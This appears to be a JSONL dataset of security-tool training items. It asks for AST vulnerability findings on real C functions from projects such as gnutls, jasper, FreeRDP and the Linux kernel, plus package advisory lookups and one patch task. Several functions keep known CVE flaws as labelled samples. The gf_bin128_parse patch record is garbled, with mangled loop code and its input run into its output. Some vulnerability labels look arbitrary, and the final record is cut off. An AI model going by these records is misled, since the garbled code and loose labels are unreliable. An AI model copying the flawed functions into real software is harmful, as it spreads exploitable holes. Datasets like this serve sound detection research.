{"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int gnutls_pcert_import_openpgp (gnutls_pcert_st* pcert,\n\tgnutls_openpgp_crt_t crt, unsigned int flags)\n{\nint ret;\nsize_t sz;\n\n memset(pcert, 0, sizeof(*pcert));\n\n pcert->type = GNUTLS_CRT_OPENPGP;\n pcert->cert.data = NULL;\n\n sz = 0;\n ret = gnutls_openpgp_crt_export(crt, GNUTLS_OPENPGP_FMT_RAW, NULL, &sz);\n if (ret < 0 && ret != GNUTLS_E_SHORT_MEMORY_BUFFER)\n {\n ret = gnutls_assert_val(ret);\n goto cleanup;\n }\n\n pcert->cert.data = gnutls_malloc(sz);\n if (pcert->cert.data == NULL)\n {\n ret = gnutls_assert_val(GNUTLS_E_MEMORY_ERROR);\n goto cleanup;\n }\n\n ret = gnutls_openpgp_crt_export(crt, GNUTLS_X509_FMT_DER, pcert->cert.data, &sz);\n if (ret < 0)\n {\n ret = gnutls_assert_val(ret);\n goto cleanup;\n }\n pcert->cert.size = sz;\n\n ret = gnutls_pubkey_init(&pcert->pubkey);\n if (ret < 0)\n {\n ret = gnutls_assert_val(ret);\n goto cleanup;\n }\n\n ret = gnutls_pubkey_import_openpgp(pcert->pubkey, crt, 0);\n if (ret < 0)\n {\n gnutls_pubkey_deinit(pcert->pubkey);\n ret = gnutls_assert_val(ret);\n goto cleanup;\n }\n\n return 0;\n\ncleanup:\n gnutls_free(pcert->cert.data);\n\n return ret;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"project\": \"gnutls\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: mcp-server-git\nInstalled version: <2025.12.18\nSummary: mcp-server-git has missing path validation when using --repository flag", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-1623\",\n \"cve\": \"CVE-2025-68145\",\n \"aliases\": [\n \"CVE-2025-68145\",\n \"GHSA-j22h-9j4x-23w5\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"mcp-server-git\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2025.12.18\",\n \"fixed_version\": \"2025.12.18\",\n \"finding\": \"mcp-server-git has missing path validation when using --repository flag\",\n \"remediation\": \"Upgrade mcp-server-git to 2025.12.18 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following python code and output a structured finding.", "input": "import yaml\ndef parse():\n param = sys.argv[1]\n return yaml.safe_load(param)\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: Safe YAML load. No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"module\",\n \"import_statement\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "GF_Err gf_bin128_parse(const char *string, bin128 value)\n{\n\tu32 len;\n\tu32\ti=0;\n\tif (!strnicmp(string, \"0x\", 2)) string += 2;\n\tlen = (u32) strlen(string);\n\tif (len >= 32) {\n\t\tu32 j;\n\t\tfor (j=0; j= 32) {\\n\\t\\tu32 j;\\n\\t\\tfor (j=0; j 15) {\\n\\t\\t\\t\\t// force error check below\\n\\t\\t\\t\\ti++;\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n \\t\\t}\\n \\t}\\n \\tif (i != 16) {\\n\\t\\tGF_LOG(GF_LOG_ERROR, GF_LOG_CORE, (\\\"[CORE] 128bit blob is not 16-bytes long: %s\\\\n\\\", string));\\n\\t\\treturn GF_BAD_PARAM;\\n\\t}\\n\\treturn GF_OK;\\n}\\n\",\n \"change_summary\": \"fix buffer overrun in gf_bin128_parse\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " int ras_validate(jas_stream_t *in)\n {\n\tuchar buf[RAS_MAGICLEN];\n \tint i;\n \tint n;\n \tuint_fast32_t magic;\n\n\tassert(JAS_STREAM_MAXPUTBACK >= RAS_MAGICLEN);\n\n\t/* Read the validation data (i.e., the data used for detecting\n\t the format). */\n\tif ((n = jas_stream_read(in, buf, RAS_MAGICLEN)) < 0) {\n\t\treturn -1;\n\t}\n\n\t/* Put the validation data back onto the stream, so that the\n\t stream position will not be changed. */\n\tfor (i = n - 1; i >= 0; --i) {\n\t\tif (jas_stream_ungetc(in, buf[i]) == EOF) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t/* Did we read enough data? */\n\tif (n < RAS_MAGICLEN) {\n\t\treturn -1;\n\t}\n\n\tmagic = (JAS_CAST(uint_fast32_t, buf[0]) << 24) |\n\t (JAS_CAST(uint_fast32_t, buf[1]) << 16) |\n\t (JAS_CAST(uint_fast32_t, buf[2]) << 8) |\n\t buf[3];\n\n\t/* Is the signature correct for the Sun Rasterfile format? */\n\tif (magic != RAS_MAGIC) {\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9557\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"ras_validate\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \"jas_stream_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"uchar\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"RAS_MAGICLEN\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"n\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"uint_fast32_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"magic\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \"assert\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"JAS_STREAM_MAXPUTBACK\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \">=\",\n \"ast_node\": \">=\",\n \"line\": 8,\n \"col\": 30\n },\n {\n \"token\": \"RAS_MAGICLEN\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 46\n },\n {\n \"token\": \"/* Read the validation data (i.e., the data used for detecting\\n\\t the format). */\",\n \"ast_node\": \"comment\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"n\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"jas_stream_read\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 25\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 12,\n \"col\": 28\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 12,\n \"col\": 33\n },\n {\n \"token\": \"RAS_MAGICLEN\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 48\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 12,\n \"col\": 50\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 53\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 55\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"-1\",\n \"ast_node\": \"number_literal\",\n \"line\": 13,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 11\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 14,\n \"col\": 1\n },\n {\n \"token\": \"/* Put the validation data back onto the stream, so that the\\n\\t stream position will not be changed. */\",\n \"ast_node\": \"comment\",\n \"line\": 16,\n \"col\": 1\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 18,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 5\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 18,\n \"col\": 8\n },\n {\n \"token\": \"n\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 10\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 18,\n \"col\": 12\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-310", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "json_t *json_object(void)\n{\n json_object_t *object = jsonp_malloc(sizeof(json_object_t));\n if(!object)\n return NULL;\n json_init(&object->json, JSON_OBJECT);\n\n if(hashtable_init(&object->hashtable))\n {\n jsonp_free(object);\n return NULL;\n }\n\n object->serial = 0;\n object->visited = 0;\n\n return &object->json;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"jansson\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-401", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Magick.NET-Q16-AnyCPU\nInstalled version: <14.15.0\nSummary: ImageMagick: Memory Leak in color transformation to log colorspace when operation fails", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-7c7m-fpjw-gwcq\",\n \"cve\": \"CVE-2026-61864\",\n \"aliases\": [\n \"CVE-2026-61864\"\n ],\n \"cwe\": \"CWE-401\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Magick.NET-Q16-AnyCPU\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <14.15.0\",\n \"fixed_version\": \"14.15.0\",\n \"finding\": \"ImageMagick: Memory Leak in color transformation to log colorspace when operation fails\",\n \"remediation\": \"Upgrade Magick.NET-Q16-AnyCPU to 14.15.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: changedetection-io\nInstalled version: 0.54.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"changedetection-io\",\n \"installed_version\": \"0.54.4\",\n \"note\": \"changedetection-io 0.54.4 is at or above the fixed version for GHSA-8whx-v8qq-pq64; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: matrix-org-irc\nInstalled version: 1.2.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"matrix-org-irc\",\n \"installed_version\": \"1.2.1\",\n \"note\": \"matrix-org-irc 1.2.1 is at or above the fixed version for GHSA-52rh-5rpj-c3w6; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "BOOL transport_accept_nla(rdpTransport* transport)\n{\n\tfreerdp* instance;\n\trdpSettings* settings;\n\n\tif (transport->TlsIn == NULL)\n\t\ttransport->TlsIn = tls_new(transport->settings);\n\n\tif (transport->TlsOut == NULL)\n\t\ttransport->TlsOut = transport->TlsIn;\n\n\ttransport->layer = TRANSPORT_LAYER_TLS;\n\ttransport->TlsIn->sockfd = transport->TcpIn->sockfd;\n\n\tif (tls_accept(transport->TlsIn, transport->settings->CertificateFile, transport->settings->PrivateKeyFile) != TRUE)\n\t\treturn FALSE;\n\n\t/* Network Level Authentication */\n\n\tif (transport->settings->Authentication != TRUE)\n\t\treturn TRUE;\n\n\tsettings = transport->settings;\n\tinstance = (freerdp*) settings->instance;\n\n\tif (transport->credssp == NULL)\n\t\ttransport->credssp = credssp_new(instance, transport, settings);\n\n\tif (credssp_authenticate(transport->credssp) < 0)\n \t{\n \t\tfprintf(stderr, \"client authentication failure\\n\");\n \t\tcredssp_free(transport->credssp);\n \t\treturn FALSE;\n \t}\n \n\t/* don't free credssp module yet, we need to copy the credentials from it first */\n\n\treturn TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-4119\",\n \"project\": \"FreeRDP\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " void CoverCheck(HBoundsCheck* new_check,\n int32_t new_offset) {\n ASSERT(new_check->index()->representation().IsInteger32());\n bool keep_new_check = false;\n\n if (new_offset > upper_offset_) {\n upper_offset_ = new_offset;\n if (HasSingleCheck()) {\n keep_new_check = true;\n upper_check_ = new_check;\n } else {\n BuildOffsetAdd(upper_check_,\n &added_upper_index_,\n &added_upper_offset_,\n Key()->IndexBase(),\n new_check->index()->representation(),\n new_offset);\n upper_check_->SetOperandAt(0, added_upper_index_);\n }\n } else if (new_offset < lower_offset_) {\n lower_offset_ = new_offset;\n if (HasSingleCheck()) {\n keep_new_check = true;\n lower_check_ = new_check;\n } else {\n BuildOffsetAdd(lower_check_,\n &added_lower_index_,\n &added_lower_offset_,\n Key()->IndexBase(),\n new_check->index()->representation(),\n new_offset);\n lower_check_->SetOperandAt(0, added_lower_index_);\n }\n } else {\n ASSERT(false);\n }\n\n if (!keep_new_check) {\n new_check->DeleteAndReplaceWith(NULL);\n }\n }", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"node\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-191", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.Native.Quic.MsQuic.OpenSSL\nInstalled version: 2.5.0-ci.532574\nSummary: MsQuic has a Remote Elevation of Privilege Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-gvvw-8j96-8g5r\",\n \"cve\": \"CVE-2026-32179\",\n \"aliases\": [\n \"CVE-2026-32179\"\n ],\n \"cwe\": \"CWE-191\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.Native.Quic.MsQuic.OpenSSL\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=2.5.0-ci.532574, <2.5.7\",\n \"fixed_version\": \"2.5.7\",\n \"finding\": \"MsQuic has a Remote Elevation of Privilege Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.Native.Quic.MsQuic.OpenSSL to 2.5.7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int __key_instantiate_and_link(struct key *key,\n\t\t\t\t struct key_preparsed_payload *prep,\n\t\t\t\t struct key *keyring,\n\t\t\t\t struct key *authkey,\n\t\t\t\t struct assoc_array_edit **_edit)\n{\n\tint ret, awaken;\n\n\tkey_check(key);\n\tkey_check(keyring);\n\n\tawaken = 0;\n\tret = -EBUSY;\n\n \tmutex_lock(&key_construction_mutex);\n \n \t/* can't instantiate twice */\n\tif (!test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) {\n \t\t/* instantiate the key */\n \t\tret = key->type->instantiate(key, prep);\n \n \t\tif (ret == 0) {\n \t\t\t/* mark the key as being instantiated */\n \t\t\tatomic_inc(&key->user->nikeys);\n\t\t\tset_bit(KEY_FLAG_INSTANTIATED, &key->flags);\n \n \t\t\tif (test_and_clear_bit(KEY_FLAG_USER_CONSTRUCT, &key->flags))\n \t\t\t\tawaken = 1;\n\n\t\t\t/* and link it into the destination keyring */\n\t\t\tif (keyring) {\n\t\t\t\tif (test_bit(KEY_FLAG_KEEP, &keyring->flags))\n\t\t\t\t\tset_bit(KEY_FLAG_KEEP, &key->flags);\n\n\t\t\t\t__key_link(key, _edit);\n\t\t\t}\n\n\t\t\t/* disable the authorisation key */\n\t\t\tif (authkey)\n\t\t\t\tkey_revoke(authkey);\n\n\t\t\tif (prep->expiry != TIME_T_MAX) {\n\t\t\t\tkey->expiry = prep->expiry;\n\t\t\t\tkey_schedule_gc(prep->expiry + key_gc_delay);\n\t\t\t}\n\t\t}\n\t}\n\n\tmutex_unlock(&key_construction_mutex);\n\n\t/* wake up anyone waiting for a key to be constructed */\n\tif (awaken)\n\t\twake_up_bit(&key->flags, KEY_FLAG_USER_CONSTRUCT);\n\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-15951\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 18,\n 25\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"__key_instantiate_and_link\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"key_preparsed_payload\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 39\n },\n {\n \"token\": \"prep\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 44\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"keyring\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"authkey\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \"assoc_array_edit\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \"_edit\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 41\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"awaken\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"key_check\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"key\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \"key_check\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \"keyring\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 19\n },\n {\n \"token\": \"awaken\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 13,\n \"col\": 7\n },\n {\n \"token\": \"EBUSY\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 13\n },\n {\n \"token\": \"mutex_lock\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 15,\n \"col\": 12\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 15,\n \"col\": 13\n },\n {\n \"token\": \"key_construction_mutex\",\n \"ast_node\": \"identifier\",\n \"line\": 15,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 15,\n \"col\": 36\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the 